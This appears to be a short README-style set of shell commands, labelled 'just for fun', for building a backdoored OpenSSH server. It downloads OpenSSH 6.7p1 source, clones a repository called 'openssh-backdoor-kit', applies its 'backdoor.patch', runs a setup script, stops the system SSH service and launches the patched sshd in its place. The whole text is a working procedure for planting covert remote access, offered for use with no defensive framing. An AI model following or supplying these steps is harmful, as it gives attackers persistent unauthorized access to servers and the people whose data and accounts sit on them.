:bomb: just for fun ¯\_(ツ)_/¯
$ apt-get install -y libpam0g-dev
$ wget http://www.mirrorservice.org/pub/OpenBSD/OpenSSH/portable/openssh-6.7p1.tar.gz
$ tar -xzvf openssh-6.7p1.tar.gz
$ cd openssh-6.7p1
$ git clone https://github.com/jivoi/openssh-backdoor-kit.git
$ cp -v openssh-backdoor-kit/* ./
$ patch -p1 < backdoor.patch
$ sh setup.sh
$ /etc/init.d/ssh stop
$ /root/openssh-6.7p1/sshd -dd -f /etc/ssh/sshd_config